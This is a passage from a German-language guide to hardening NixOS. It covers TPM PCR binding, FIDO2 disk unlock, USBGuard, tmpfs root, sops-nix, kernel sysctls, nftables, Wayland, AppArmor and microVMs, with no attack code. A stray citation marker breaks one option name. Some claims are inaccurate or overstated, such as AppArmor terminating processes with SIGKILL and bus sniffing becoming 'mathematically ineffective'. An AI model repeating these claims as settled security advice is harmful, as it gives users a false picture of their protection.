dass die Identit\u00e4t des zu entschl\u00fcsselnden Volumes kryptographisch verifiziert wird, noch bevor irgendein Code aus diesem Volume ausgef\u00fchrt wird. Dies wird in NixOS durch die gezielte Manipulation von PCR 15 erreicht.\nDer LUKS2-Schl\u00fcssel wird \u00fcber systemd-cryptenroll nicht nur an PCR 0 (Firmware), PCR 2 (OptionROMs) und PCR 7 gebunden, sondern zus\u00e4tzlich an PCR 15. Der spezifische Bindungswert lautet 15:sha256=0000000000000000000000000000000000000000000000000000000000000000. Dies bedeutet, dass das TPM den Entschl\u00fcsselungs-Key nur dann herausgibt, wenn in PCR 15 noch absolut keine Messungen durchgef\u00fchrt wurden (der Hash also aus reinen Nullen besteht).\nBegleitend wird in der NixOS-Konfiguration f\u00fcr das entsprechende Laufwerk unter boot.initrd.luks.devices..crypttabExtraOpts der Parameter tpm2-measure-pcr=yes gesetzt. Diese Konstellation erzwingt folgenden Ablauf:\n 1. Das System bootet in die initrd, PCR 15 ist null.\n 2. Das TPM gibt den Entschl\u00fcsselungsschl\u00fcssel frei.\n 3. Die initrd nutzt den Schl\u00fcssel, entschl\u00fcsselt das Volume und \u2013 durch den Parameter tpm2-measure-pcr=yes \u2013 misst den Volume Key, den Namen und die UUID des entschl\u00fcsselten Volumes sofort unwiderruflich in PCR 15 hinein.\n 4. PCR 15 ver\u00e4ndert seinen Zustand permanent.\nSollte der zuvor beschriebene Angreifer nun versuchen, das System in eine von ihm kontrollierte Laufzeitumgebung umzuleiten, ist dies nutzlos. Selbst wenn der Angreifer Root-Rechte erlangt, kann er das TPM nicht mehr dazu bewegen, den Schl\u00fcssel ein zweites Mal freizugeben, da PCR 15 nicht mehr den Null-Status aufweist.\n| Plattform-Konfigurations-Register (PCR) | Prim\u00e4re Messgr\u00f6\u00dfe | Funktionale Bedeutung f\u00fcr die H\u00e4rtung |\n|---|---|---|\n| **PCR 0** | Core System Firmware Code | Erkennt feindliche BIOS/UEFI-Updates oder Manipulationen der Firmware. |\n| **PCR 2** | Extended oder Pluggable Executable Code | Sichert das System gegen kompromittierte OptionROMs (z. B. auf Netzwerkkarten). |\n| **PCR 4** | Bootloader (Code) | Sichert die Integrit\u00e4t des Lanzaboote-Stubs und des NixOS-Kernels. |\n| **PCR 7** | Secure Boot Policy | Kernkomponente, die verifiziert, dass die System-PKI nicht kompromittiert wurde. |\n| **PCR 15** | System Identity / Volume Keys | Essenzielle Abwehrma\u00dfnahme gegen Root-Volume-Konfusionsangriffe. |\n### 3.3 Hardwarenahe Abwehr von Bus-Sniffing (CVE-2026-0714)\nEine weitere gravierende Schwachstelle vieler automatischer Entschl\u00fcsselungsmechanismen (wie z. B. der Standardimplementierung von Clevis) ist die unverschl\u00fcsselte Kommunikation \u00fcber physische Schnittstellen. Viele TPM-Chips kommunizieren mit der CPU \u00fcber ungesch\u00fctzte SPI- oder I2C-Busse. Ein physischer Angreifer kann das Geh\u00e4use des Laptops \u00f6ffnen, einen Logikanalysator an die Bus-Pins anl\u00f6ten und die Klartextkommunikation mitschneiden (CVE-2026-0714). Wenn das TPM den entschl\u00fcsselten LUKS-Key an die CPU sendet, liest der Angreifer diesen aus und hat vollen Zugriff auf die Festplatte.\nDie Gegenma\u00dfnahme in der NixOS-Konfiguration ist die strikte Nutzung von systemd-cryptenroll unter expliziter Verwendung von TPM-verschl\u00fcsselten Sitzungen (Encrypted Sessions). Die TPM 2.0-Spezifikation erlaubt es, mittels Diffie-Hellman-Schl\u00fcsselaustausch einen tempor\u00e4ren symmetrischen Schl\u00fcssel zwischen CPU und TPM auszuhandeln. Das TPM verschl\u00fcsselt das freigegebene Geheimnis, bevor es \u00fcber den SPI-Bus gesendet wird, und die CPU entschl\u00fcsselt es im sicheren Cache. Physisches Bus-Sniffing wird dadurch mathematisch ineffektiv.\n## 4. Pr\u00e4diktiver Boot-Schutz mittels Measured Boot und systemd-pcrlock\nEine statische Bindung an PCR-Werte birgt im Kontext von Continuous Deployment und atomaren Updates, wie sie bei NixOS \u00fcblich sind, fundamentale operative Risiken. Wenn das TPM angewiesen wird, nur dann zu entsperren, wenn PCR 4 (Bootloader und Kernel) einen spezifischen Hash aufweist, f\u00fchrt jedes NixOS-Update (nixos-rebuild), das einen neuen Kernel installiert, unweigerlich dazu, dass das System nach dem Neustart die Festplatte nicht mehr entschl\u00fcsselt, da sich die Hash-Werte ver\u00e4ndert haben. Der Anwender m\u00fcsste manuell in die initrd eingreifen oder Recovery-Keys nutzen, was die Verf\u00fcgbarkeit des Systems stark kompromittiert.\nDas Konzept des \"Measured Boot\" in Kombination mit dem Werkzeug systemd-pcrlock l\u00f6st dieses Problem durch pr\u00e4diktive Berechnungen. Anstatt einen statischen Hash-Wert aus der Vergangenheit im TPM zu versiegeln, analysiert systemd-pcrlock die anstehenden Ver\u00e4nderungen am System und generiert dynamische Richtlinien-Dateien (.pcrlock Dateien unter /var/lib/pcrlock.d).\nLanzaboote integriert dieses System nativ (boot.lanzaboote.measuredBoot.enable = true sowie boot.la[span_38](start_span)[span_38](end_span)nzaboote.measuredBoot.pcrs = [ 4 7 ]). Bei jedem Ausf\u00fchren von nixos-rebuild werden die neu kompilierten Boot-Komponenten analysiert. Der Systemprozess errechnet vorher, welche Hashes beim n\u00e4chsten Start generiert werden, und schreibt eine entsprechend signierte Richtlinie in das TPM. Das TPM pr\u00fcft beim Neustart, ob die tats\u00e4chlichen Messungen mit der vorberechneten Richtlinie \u00fcbereinstimmen. Dies sch\u00fctzt das System effektiv vor feindlichen Downgrade-Angriffen, erlaubt jedoch vollautomatische, legitime Systemupdates ohne h\u00e4ndische Intervention. Es muss darauf geachtet werden, dass bei virtuellen Maschinen (z. B. via QEMU/KVM) in den Boot-Optionen exakt ein Boot-Datentr\u00e4ger markiert ist, da andernfalls PCR 4 mehrfache, unvorhersehbare Messungen der Boot-Eintr\u00e4ge vornimmt, was die Generierung g\u00fcltiger Richtlinien sabotiert.\n## 5. Multi-Faktor-Authentifizierung durch FIDO2-Hardware-Token\nAuch die st\u00e4rksten TPM-Konfigurationen sind verwundbar gegen\u00fcber dem sogenannten \"Wrench-Attack\" \u2013 dem physischen Diebstahl des Laptops im laufenden, aber gesperrten Zustand, oder dem sofortigen Diebstahl nach dem Einschalten, bevor der Benutzer reagieren kann. Da das TPM die Festplatte beim Start vollautomatisch entschl\u00fcsselt (Auto-Unlock), kann ein Dieb das System hochfahren und auf einen laufenden Anmeldebildschirm zugreifen, welcher als Angriffsvektor f\u00fcr DMA-Attacken (Direct Memory Access) \u00fcber Thunderbolt-Ports dienen kann.\nUm diese Kette zu durchbrechen, wird die Auto-Unlock-Funktion durch eine Multi-Faktor-Authentifizierung (MFA) auf Basis von FIDO2-Hardware-Sicherheitstoken (z. B. YubiKey) erg\u00e4nzt. Der FIDO2-Standard erm\u00f6glicht es, kryptographische Authentifizierungsprozesse auf einen physisch isolierten Co-Prozessor auszulagern.\nDie Einschreibung erfolgt \u00fcber systemd-cryptenroll --fido2-device=auto --fido2-with-client-pin=true /dev/nvme0n1pX. Dieser Befehl zwingt das System, beim Bootvorgang nicht nur auf die Pr\u00e4senz der physischen Hardware (des YubiKeys) zu pr\u00fcfen, sondern erfordert zwingend die Eingabe eines dem Benutzer bekannten PIN-Codes, bevor das Hardware-Token die kryptographische Antwort berechnet.\nEin technisches Detail bei der Implementierung unter NixOS betrifft eine Eigenheit von systemd: Wenn ein FIDO2-Token mit aktiviertem PIN-Schutz registriert wurde, fordert systemd beim Boot-Vorgang den Benutzer sofort zur Eingabe des PINs auf, vollkommen unabh\u00e4ngig davon, ob das physische Token \u00fcberhaupt in den USB-Port eingesteckt wurde. Um zu verhindern, dass ein Angreifer durch wiederholte Fehleingaben des PINs einen \"Dictionary Attack Lockout\" provoziert, der den YubiKey tempor\u00e4r oder permanent sperrt, ist ein komplexeres Setup angeraten. Es empfiehlt sich, eine extrem kleine (wenige Megabyte gro\u00dfe) LUKS-Partition zu erstellen, die ausschlie\u00dflich eine Schl\u00fcsseldatei (keyFile) enth\u00e4lt und via FIDO2 gesichert ist. Die prim\u00e4ren Partitionen (Root, Swap) werden dann nicht direkt an den YubiKey, sondern an diese Schl\u00fcsseldatei gebunden.\n## 6. Physische Schnittstellenkontrolle und DMA-Schutz mittels USBGuard\nPhysischer Zugang zu einem System bietet Angreifern die M\u00f6glichkeit, b\u00f6sartige Peripherieger\u00e4te anzuschlie\u00dfen. Ger\u00e4te wie der Rubber Ducky emulieren Tastaturen und injizieren Schadcode im Millisekundentakt, w\u00e4hrend komplexe BadUSB-Ger\u00e4te manipulierte Firmware laden. Ebenso k\u00f6nnen \u00fcber PCIe-verkn\u00fcpfte Schnittstellen wie Thunderbolt DMA-Angriffe (Direct Memory Access) durchgef\u00fchrt werden, die den RAM direkt auslesen, ohne dass die CPU oder das Betriebssystem intervenieren k\u00f6nnen.\nUm diese massiven Sicherheitsrisiken zu eliminieren, wird USBGuard tief in die systemd-Prozesshierarchie des NixOS-Systems integriert (services.usbguard.enable = true). USBGuard fungiert als Kernel-basierte Firewall f\u00fcr den USB-Bus. Die Sicherheitsarchitektur basiert auf einer kompromisslosen \"Default Deny\"-Richtlinie, definiert durch die Option implicitPolicyTarget = \"block\". S\u00e4mtliche USB-Ger\u00e4te, die nicht explizit in der Konfiguration durch eindeutige Hash-Attribute oder Ger\u00e4te-IDs zugelassen wurden, werden vom Kernel bereits auf Treiberebene ignoriert und abgewiesen.\nEin kritisches Element der Konfiguration betrifft die Option presentControllerPolicy. Wenn diese nicht korrekt justiert ist, kann USBGuard beim Starten alle intern \u00fcber USB angebundenen Komponenten blockieren. Bei Laptops betrifft dies in der Regel die integrierte Tastatur, das Touchpad, Bluetooth-Module und Webcams, wodurch der Nutzer aus dem System ausgesperrt wird (\"Lockout\"). Um dies zu verhindern, m\u00fcssen die IDs der vertrauensw\u00fcrdigen internen Ger\u00e4te vor der Aktivierung von USBGuard mittels des Tools lsusb identifiziert und in das Regelwerk /etc/nixos/settings/usbguard/rules.conf eingetragen werden.\nZus\u00e4tzlich muss die Inter-Process Communication (IPC) des USBGuard-Daemons restriktiv gesch\u00fctzt werden, um zu verhindern, dass Schadsoftware die Berechtigungen im laufenden Betrieb manipuliert. Die Optionen IPCAllowedUsers und IPCAllowedGroups definieren, dass ausschlie\u00dflich Benutzergruppen mit extrem hohen Privilegien (z. B. wheel) \u00fcber D-Bus mit dem Daemon kommunizieren d\u00fcrfen.\n## 7. Impermanence: Zustandslosigkeit als radikaler Abwehrmechanismus\nDie \u00fcberw\u00e4ltigende Mehrheit moderner Exploits st\u00fctzt sich darauf, nach einer anf\u00e4nglichen Kompromittierung Persistenz auf dem System zu etablieren. Malware modifiziert Systembibliotheken in /lib, hinterlegt Autostart-Skripte in /etc oder verankert sich in Konfigurationsverzeichnissen der Benutzer unter ~/.config. Die klassische UNIX-Dateisystemhierarchie ist extrem speichernd (\"stateful\") und bietet Schadsoftware eine F\u00fclle an undurchsichtigen Verstecken.\nDas geh\u00e4rtete NixOS begegnet diesem Paradigma mit der radikalen Architektur der \"Impermanence\" (Zustandslosigkeit) und dem sogenannten \"Erase Your Darlings\"-Konzept. Anstatt das Root-Dateisystem (/) als persistentes ext4- oder btrfs-Laufwerk zu formatieren, wird / beim Boot-Vorgang als vollst\u00e4ndig fl\u00fcchtiges tmpfs (Temporary File System) im Arbeitsspeicher (RAM) der Maschine angelegt.\nDie Deklaration innerhalb der NixOS-Konfiguration erzwingt dieses Verhalten unmissverst\u00e4ndlich:\n```nix\nfileSystems.\"/\" = {\n  device = \"none\";\n  fsType = \"tmpfs\";\n  options = [ \"defaults\" \"size=2G\" \"mode=755\" ];\n};\n\n```\nDer Effekt ist gravierend: S\u00e4mtliche Modifikationen, die ein Angreifer oder fehlerhafte Software au\u00dferhalb der dedizierten persistierten Verzeichnisse vornimmt, existieren ausschlie\u00dflich im fl\u00fcchtigen RAM. Beim Ausschalten der Stromzufuhr oder einem regul\u00e4ren Neustart verfl\u00fcchtigen sich diese Modifikationen restlos.\nUm ein benutzbares Betriebssystem zu erhalten, m\u00fcssen unabdingbare Systembestandteile physisch auf der Festplatte verankert sein. Dies umfasst:\n 1. /boot: Die FAT32 formatierte EFI System Partition, die den Kernel und die initrd vorh\u00e4lt.\n 2. /nix/store: Das zentrale Repository von NixOS. Es wird schreibgesch\u00fctzt (read-only) in das Dateisystem eingebunden. Da der Nix-Store kryptographisch anhand von Hashes aufgebaut ist, macht er unautorisierte Modifikationen an Systembinaries sofort erkennbar und de facto unm\u00f6glich.\n 3. /persist: Ein dezidiertes, LUKS-verschl\u00fcsseltes Volume f\u00fcr jene wenigen Laufzeitdaten, die zwingend einen Reboot \u00fcberdauern m\u00fcssen.\nMittels des Nix-Community-Projekts impermanence wird eine strikte Whitelist implementiert. Ausschlie\u00dflich vordefinierte Dateien und Verzeichnisse, wie etwa NetworkManager-Verbindungsprofile (WLAN-Passw\u00f6rter), SSH-Hostkeys und bestimmte System-Logs, werden \u00fcber \"Bind-Mounts\" vom fl\u00fcchtigen Root-Verzeichnis in den persistenten Speicherpfad /persist umgeleitet. Alles, was nicht auf dieser strengen Whitelist deklariert ist, wird unwiderruflich ausgel\u00f6scht. Dieses Design zwingt das gesamte System in einen deterministischen, stets sauberen Ausgangszustand zur\u00fcck. Der persistierte Zustand wird dadurch auf wenige Megabyte komprimiert, was eine forensische Analyse nach einem potenziellen Sicherheitsvorfall signifikant beschleunigt.\n## 8. Kryptographisches Geheimnismanagement in deklarativen Systemen\nDie deklarative Natur von NixOS fordert, dass der gesamte Zustand des Systems in textbasierten .nix-Dateien beschrieben wird. Ein fundamentaler Designkonflikt entsteht bei der Handhabung von Geheimnissen (WLAN-Passw\u00f6rter, Datenbank-Zug\u00e4nge, API-Token). Werden diese Klartext-Geheimnisse direkt in die NixOS-Konfiguration geschrieben, landen sie unweigerlich im zentralen /nix/store. Da der /nix/store architektonisch bedingt weltweit lesbar (world-readable) sein muss, stellt dies eine fatale Schwachstelle f\u00fcr die Privilege Escalation dar, da jeder unprivilegierte Nutzer oder Dienst die Klartextgeheimnisse auslesen k\u00f6nnte.\nZur L\u00f6sung dieses Dilemmas wird das Tool sops-nix in das System integriert. sops-nix basiert auf SOPS (Secrets OPerationS) und erlaubt es, Geheimnisse tief verschl\u00fcsselt direkt in der NixOS-Konfiguration (und damit in Git-Repositories) abzulegen. Anstatt veralteter PGP-Verfahren wird hierf\u00fcr das moderne, ressourcenschonende Verschl\u00fcsselungsprotokoll Age (Actually Good Encryption) eingesetzt.\n\nDas kryptographische Protokoll l\u00e4uft in mehreren exakt definierten Schritten ab:\n 1. **Schl\u00fcsselableitung:** Anstatt eine neue, zu sichernde Identit\u00e4t zu generieren, leitet das Werkzeug ssh-to-age einen g\u00fcltigen Age-Public-Key (Recipient) direkt aus dem ohnehin existierenden, starken ed25519-SSH-Host-Key der Maschine ab. Dies eliminiert den Vektor f\u00fcr schlechtes Schl\u00fcsselmanagement.\n 2. **Verschl\u00fcsselung At Rest:** Der Entwickler deklariert eine .sops.yaml-Regeldatei, die festlegt, dass alle Dateien, die auf den regul\u00e4ren Ausdruck secrets.yaml$ passen, mit dem zuvor abgeleiteten Age-Key verschl\u00fcsselt werden m\u00fcssen. Die eigentlichen Geheimnisse liegen fortan nur als verschl\u00fcsselte Chiffrate vor.\n 3. **Just-in-Time Entschl\u00fcsselung:** W\u00e4hrend des Boot-Prozesses \u2013 genauer in der Aktivierungsphase von NixOS \u2013 greift sops-nix auf den SSH-Host-Key zu und entschl\u00fcsselt die Dateien.\n 4. **Isolierte Injektion:** Die entschl\u00fcsselten Daten werden nicht auf die physische Festplatte geschrieben. Stattdessen nutzt sops-nix das fl\u00fcchtige tmpfs und erstellt die Klartextdateien ausschlie\u00dflich im Arbeitsspeicher unter /run/secrets/.\nZus\u00e4tzlich implementiert die Architektur eine strikte Mandatory Access Control auf Dateiebene. In der Nix-Konfiguration wird pr\u00e4zise deklariert, welcher Dienst auf welches Geheimnis zugreifen darf. Beispielsweise wird definiert, dass das Geheimnis my_secret_auth dem Besitzer nginx zugeordnet wird (owner = \"nginx\"). Ein kompromittierter Prozess unter einem anderen Benutzerkontext wird durch die Kernel-Level Dateisystemberechtigungen am Auslesen der Geheimnisse gehindert.\n## 9. Monolithische Kernel-H\u00e4rtung und deterministischer Speicherschutz\nDer Linux-Kernel bildet das Fundament des Betriebssystems. Trotz st\u00e4ndiger Audits enth\u00e4lt die gewaltige Codebasis regelm\u00e4\u00dfig Memory-Corruption-Bugs (wie Use-After-Free oder Heap-Overflows), die von Angreifern zur lokalen Privilege Escalation auf Ring-0-Level genutzt werden. Eine absolute H\u00e4rtung des Kernels ist f\u00fcr das Nation-State-Bedrohungsmodell nicht verhandelbar.\n### 9.1 Austausch des Kernels und der Speicherallokatoren\nIn der vorliegenden Architektur wird der Vanilla-Kernel durch das geh\u00e4rtete Profil pkgs.linuxPackages_hardened ersetzt. Dieser Kernel integriert spezialisierte Patches, die viele Legacy-Subsysteme entfernen und aggressive Mitigationen gegen ROP (Return-Oriented Programming) aktivieren.\nEine der wirkungsvollsten Verteidigungslinien gegen Ausnutzungstechniken ist der Austausch des Standard-Speicherallokators (Memory Allocator) der Glibc. Das System wird so konfiguriert, dass alternative Allokatoren wie scudo oder das noch striktere graphene-hardened (environment.memoryAllocator.provider = \"graphene-hardened\") erzwungen werden. Diese Allokatoren implementieren hochkomplexe Techniken der zuf\u00e4lligen Speicheranordnung (Randomization) und f\u00fcgen Guard-Pages zwischen Speicherbl\u00f6cken ein. Versucht ein Angreifer einen Buffer Overflow auszunutzen, l\u00e4uft der Schreibvorgang unweigerlich in eine dieser unzug\u00e4nglichen Guard-Pages, woraufhin der Kernel den kompromittierten Prozess sofort terminiert (Segmentation Fault), bevor der Schadcode ausgef\u00fchrt werden kann. Diese Restriktionen k\u00f6nnen zu gelegentlichen Instabilit\u00e4ten in sehr komplexen Programmen f\u00fchren (z.B. ben\u00f6tigt Firefox oftmals mehrere Anl\u00e4ufe, bevor es stabil im Scudo-Speichermodell allokiert ist). Im Sinne maximaler Sicherheit werden diese Unbequemlichkeiten jedoch akzeptiert.\n### 9.2 Sysctl-Manipulationen und Modul-Sperren\nDas Verhalten des Kernels zur Laufzeit wird \u00fcber eine drakonische Anpassung der sysctl-Parameter gesteuert. Projekte wie nix-mineral (ein dediziertes NixOS-Modul zur Systemh\u00e4rtung) automatisieren Teile dieses Prozesses, jedoch m\u00fcssen spezifische Einstellungen manuell validiert werden.\n| Sysctl Parameter | Wert | Verteidigungsspezifische Funktion |\n|---|---|---|\n| kernel.yama.ptrace_scope | 2 | Blockiert den ptrace-Systemaufruf vollst\u00e4ndig f\u00fcr unprivilegierte Benutzer. Verhindert Memory-Scraping und das Auslesen fremder Prozesse. |\n| kernel.kptr_restrict | 2 | Verbirgt physische Kernel-Adresszeiger vor dem Userspace, was Angreifern die Umgehung von KASLR (Kernel Address Space Layout Randomization) erschwert. |\n| kernel.unprivileged_bpf_disabled | 1 | eBPF ist ein m\u00e4chtiges, aber hochgef\u00e4hrliches Subsystem. Die Deaktivierung f\u00fcr unprivilegierte Nutzer blockiert einen der h\u00e4ufigsten Vektoren f\u00fcr Privilege Escalation. |\n| fs.suid_dumpable | 0 | Verhindert, dass SetUID-Programme im Falle eines Absturzes Core-Dumps auf die Festplatte schreiben, was das Ausleiten von Root-Geheimnissen blockiert. |\n| net.ipv4.conf.all.accept_redirects | 0 | Blockiert b\u00f6sartige ICMP-Redirects, welche zur Manipulation von Routing-Tabellen im lokalen Netzwerk verwendet werden. |\nEine der einschneidendsten \u00c4nderungen betrifft das Laden von Kernel-Modulen. Durch das Setzen von security.lockKernelModules = true verbietet der Kernel nach dem erfolgreichen Boot-Vorgang das dynamische Nachladen jeglicher weiterer Module (modprobe). Dies bricht zwar Hot-Plug-Funktionalit\u00e4ten f\u00fcr nachtr\u00e4glich eingesteckte Hardware, verhindert jedoch eine kritische Post-Exploitation-Technik: Selbst wenn ein Angreifer eine Schwachstelle findet und Root-Rechte erlangt, kann er keine b\u00f6sartigen Ring-0-Rootkits (LKM-Rootkits) mehr in den Kernel injizieren.\n## 10. Netzwerkarchitektur: Strikte Firewalls und Kryptographisches Routing\nIm Zeitalter von Zero-Trust-Architekturen ist die Verteidigung auf Netzwerkebene von immenser Bedeutung. Die Standard-Firewalls vieler Betriebssysteme sind zu permissiv und reagieren schlecht auf moderne Overlay-Netzwerke.\n### 10.1 Nftables, RPF und die L\u00f6sung von Overlay-Konflikten\nNixOS nutzt im Hintergrund das moderne nftables-Framework, das \u00fcber networking.nftables.enable = true aktiviert wird. Die Konfiguration folgt dem absoluten \"Default Drop\"-Prinzip: Jeglicher eingehender Netzwerkverkehr wird standardm\u00e4\u00dfig verworfen, w\u00e4hrend nur explizit angeforderter ausgehender Traffic sowie dessen zugeh\u00f6rige Antworten (Stateful Inspection) erlaubt werden.\nEin signifikantes Problem bei geh\u00e4rteten Linux-Systemen ist das \"Reverse Path Filtering\" (RPF). NixOS setzt den Kernel-Parameter f\u00fcr RPF standardm\u00e4\u00dfig extrem restriktiv. Der Kernel pr\u00fcft f\u00fcr jedes eingehende Paket mittels eines FIB-Lookups (Forwarding Information Base), ob eine theoretische Antwort auf dieses Paket exakt dasselbe physische Interface nutzen w\u00fcrde, \u00fcber das das Paket hereinkam. Stimmt das Interface nicht \u00fcberein, klassifiziert der Kernel das Paket als \"gespooft\" und verwirft es.\nDiese harte Gangart kollidiert dramatisch mit modernen, kryptographischen Overlay-Netzwerken wie Tailscale oder WireGuard. Wenn ein Dienst Pakete \u00fcber das virtuelle Tailscale-Interface (tailscale0) versendet, markiert der Tailscale-Daemon diese internen Pakete mit einem spezifischen Marker (z. B. dem Hex-Wert 0x80000). Dieser Marker weist den Kernel an, das Routing so durchzuf\u00fchren, als g\u00e4be es Tailscale nicht (Policy Routing), um Endlosschleifen zu vermeiden. Wenn die RPF-Logik nun das eintreffende Paket untersucht, scheitert der Abgleich der Interfaces, da das Paket k\u00fcnstlich manipuliert wurde, woraufhin s\u00e4mtliche eingehenden Overlay-Pakete gedroppt werden.\nUm die Sicherheit des RPF nicht komplett durch die Aufweichung auf networking.firewall.checkReversePath = \"loose\" kompromittieren zu m\u00fcssen, verlangt das Architekturdesign eine Pr\u00e4zisionsintervention auf Ebene der nftables. Pakete, die den RPF-Check durchlaufen, werden durch dedizierte prerouting und postrouting Chains manipuliert. Der ausgehende Markierungswert (0x80000) wird in einen connmark (Connection Mark) im Conntrack-Subsystem \u00fcberf\u00fchrt. Kehrt ein Antwortpaket zur\u00fcck, stellt eine premangle-Regel die Markierung aus dem connmark wieder her, sodass die FIB-Lookup-Logik des Kernels die RPF-Validierung kryptographisch korrekt abschlie\u00dfen kann.\n### 10.2 Anonymisierung der physikalischen Netzwerkschicht\nZur Abwehr von physischem Tracking in Funknetzwerken (Wi-Fi), bei denen Angreifer Bewegungsprofile anhand einzigartiger Hardware-Kennungen erstellen, ist die Verschleierung der MAC-Adresse unerl\u00e4sslich. Der in NixOS verwendete NetworkManager bietet native F\u00e4higkeiten zur Randomisierung, die aktiviert werden m\u00fcssen.\nZun\u00e4chst wird wifi.scan-rand-mac-address = true konfiguriert, wodurch der Netzwerkchip w\u00e4hrend des aktiven Scannens nach Netzwerken permanent gef\u00e4lschte MAC-Adressen abstrahlt. F\u00fcr aktive Verbindungen werden die Eigenschaften ethernet.cloned-mac-address = \"random\" sowie wifi.cloned-mac-address = \"random\" in der Konfigurationsdatei verankert. Der Modus \"random\" zwingt den Controller, bei jedem einzelnen Verbindungsaufbau eine vollkommen neue, entropische MAC-Adresse zu generieren.\nEs muss jedoch anerkannt werden, dass diese Randomisierung kein Allheilmittel ist. Hochkomplexe Netzwerk\u00fcberwachungs-Infrastrukturen nutzen passive Fingerprinting-Methoden, bei denen Abweichungen im TCP/IP-Stack, Antwortzeiten der Chips\u00e4tze oder das fehlerhafte Setzen der OUI (Organizationally Unique Identifier) analysiert werden, um das Ger\u00e4t dennoch eindeutig zu identifizieren. Die MAC-Randomisierung fungiert daher lediglich als Teil einer geschichteten Abwehr, nicht als absolute Anonymisierung.\n## 11. Grafische Isolation: Das Ende von X11 und die Evolution des Sandboxings\nDie Sicherheit des grafischen User-Interfaces wurde in UNIX-Derivaten jahrzehntelang stiefm\u00fctterlich behandelt. Das alte X11-Protokoll operiert nach einem Shared-Memory-Prinzip ohne jegliche Zugriffsbeschr\u00e4nkungen zwischen Applikationen. Im X11-Server kann jede Anwendung globale Keylogger-Hooks installieren, die Fensterinhalte aller anderen laufenden Programme abgreifen (Screenscraping) und Eingabeevents f\u00e4lschen. Ein kompromittierter Mediaplayer kann somit problemlos Passw\u00f6rter mitlesen, die der Nutzer im Browserfenster eintippt.\n### 11.1 Die Transition zu puristischem Wayland\nUm diesen massiven Angriffsvektor zu schlie\u00dfen, setzt das geh\u00e4rtete NixOS exklusiv auf Wayland. Das Wayland-Protokoll erzwingt eine strikte Client-Compositor-Isolation: Der Compositor (beispielsweise Sway oder Hyprland) ist die absolute Instanz, die jedem Client seinen eigenen, isolierten Puffer zuweist. Kein Client hat Zugriff auf die Puffer anderer Clients.\nViele Linux-Distributionen nutzen Wayland, schalten jedoch im Hintergrund XWayland ein \u2013 eine Kompatibilit\u00e4tsschicht, die einen vollst\u00e4ndigen, virtuellen X11-Server f\u00fcr \u00e4ltere Applikationen bereitstellt. Diese Schicht negiert gro\u00dfe Teile der Wayland-Sicherheitsarchitektur. In der hier spezifizierten Konfiguration wird XWayland komplett und systemweit deaktiviert. Dies erzwingt, dass Legacy-Applikationen schlichtweg nicht mehr starten. Um moderne, auf Electron oder Chromium basierende Software dennoch sicher betreiben zu k\u00f6nnen, m\u00fcssen diese gezwungen werden, ihre nativen Wayland-Ozone-Module zu nutzen. Dies wird global \u00fcber die Umgebungsvariable environment.sessionVariables.NIXOS_OZONE_WL = \"1\" erzwungen.\n### 11.2 AppArmor und strukturelle Limitierungen\nErg\u00e4nzend zur Wayland-Isolation erfordert ein Nation-State-resistentes System den Einsatz von Mandatory Access Control (MAC). Auf NixOS kommt prim\u00e4r AppArmor zum Einsatz, welches Anwendungen auf Basis dedizierter Profile in ihren Berechtigungen (z.B. Dateisystem- und Netzwerkzugriff) extrem restriktiv einkapselt.\nDie Implementierung unter NixOS birgt historische Herausforderungen, da NixOS nicht den FHS-Standards (Filesystem Hierarchy Standard) folgt \u2013 es existieren keine Standardpfade wie /usr/bin/ oder /lib/. Klassische AppArmor-Profile, wie sie unter Ubuntu funktionieren, versagen unter NixOS, da die Pfade in den /nix/store/ zeigen und dynamische Hashes enthalten. Neue Entwicklungen im Nixpkgs-Repository adressieren dieses Problem, indem Profildefinitionen via Symlinks oder direkt \u00fcber Nix-Pfade inkludiert werden (security.apparmor.policies..path). Die Module werden im \"enforce\"-Modus betrieben, was bedeutet, dass ein Browser, der versucht, SSH-Schl\u00fcssel im Home-Verzeichnis zu lesen, sofort vom Kernel durch SIGKILL terminiert wird. Als erg\u00e4nzende Ma\u00dfnahme auf Desktop-Ebene k\u00f6nnen Isolations-Tools wie Firejail eingesetzt werden, um Anwendungen rudiment\u00e4r von systemkritischen Pfaden (z.B. /etc/resolv.conf) abzuschirmen.\n## 12. Extreme Compartmentalization durch hardwaregest\u00fctzte MicroVMs\nBei T\u00e4tigkeiten, die das Ausf\u00fchren von g\u00e4nzlich unvertrautem Code erfordern \u2013 beispielsweise bei der Analyse von Malware, dem Ausf\u00fchren propriet\u00e4rer Bin\u00e4rdateien oder dem Einsatz autonomer KI-Agenten, die Code schreiben und testen \u2013 reichen die softwarebasierten Isolationsgrenzen (Namespaces, Cgroups, AppArmor) oftmals nicht aus, um fortschrittliche Zero-Day-Container-Escapes zu verhindern.\nDas Projekt microvm.nix bietet in diesem Bereich eine \u00fcberlegene Architektur der extremen Compartmentalization. Anstatt Prozesse lediglich logisch im selben Kernel zu separieren, kompiliert microvm.nix spezialisierte NixOS-Konfigurationen in extrem leichtgewichtige Hardware-Virtualisierungsmaschinen (sogenannte Type-2 Hypervisors wie qemu, cloud-hypervisor oder crosvm).\nDer massive Leistungsvorteil gegen\u00fcber traditionellen virtuellen Maschinen liegt in der Wiederverwendung der Nix-Architektur. Der read-only /nix/store des Host-Systems wird mittels hochperformanter Filesystem-Overlays (virtiofs oder 9p) direkt in die MicroVM gemountet. Die MicroVM selbst ben\u00f6tigt daher kaum Festplattenspeicher und startet in Bruchteilen einer Sekunde. Dem Hypervisor wird mittels der Eigenschaft deflateOnOOM = true erlaubt, den zugewiesenen Arbeitsspeicher \u00fcber \"Ballooning\" dynamisch an den Host zur\u00fcckzugeben.\nNetzwerktechnisch agiert die MicroVM in einer perfekten Quarant\u00e4ne. Der Zugriff auf das Host-Netzwerk ist hardwareseitig gekappt, es sei denn, es werden explizite, \u00fcber systemd-networkd verwaltete virtuelle TAP-Interfaces (z.B. mit vhost-net Beschleunigung) deklariert, um den Traffic kontrolliert \u00fcber eine NAT-Br\u00fccke auszuleiten. Wird ein Prozess innerhalb der MicroVM kompromittiert, st\u00f6\u00dft der Angreifer auf die massiven hardwaregest\u00fctzten Isolationsgrenzen (KVM/Hypervisor) des Prozessors. Nach getaner Arbeit oder bei festgestellter Kompromittierung wird die MicroVM schlicht terminiert. Da das Root-Dateisystem der VM fl\u00fcchtig oder als tempor\u00e4res Overlay aufgebaut ist, verschwindet der Schadeinfluss r\u00fcckstandslos.\n## 13. Synthese und system\u00fcbergreifendes Fazit\nDie Erstellung und Aufrechterhaltung des sichersten NixOS-Systems der Welt ist kein statisches Endziel, sondern ein kontinuierlicher, kryptographisch verifizierbarer und deklarativ manifestierter Prozess. Die kompromisslose Verkn\u00fcpfung von NixOS mit 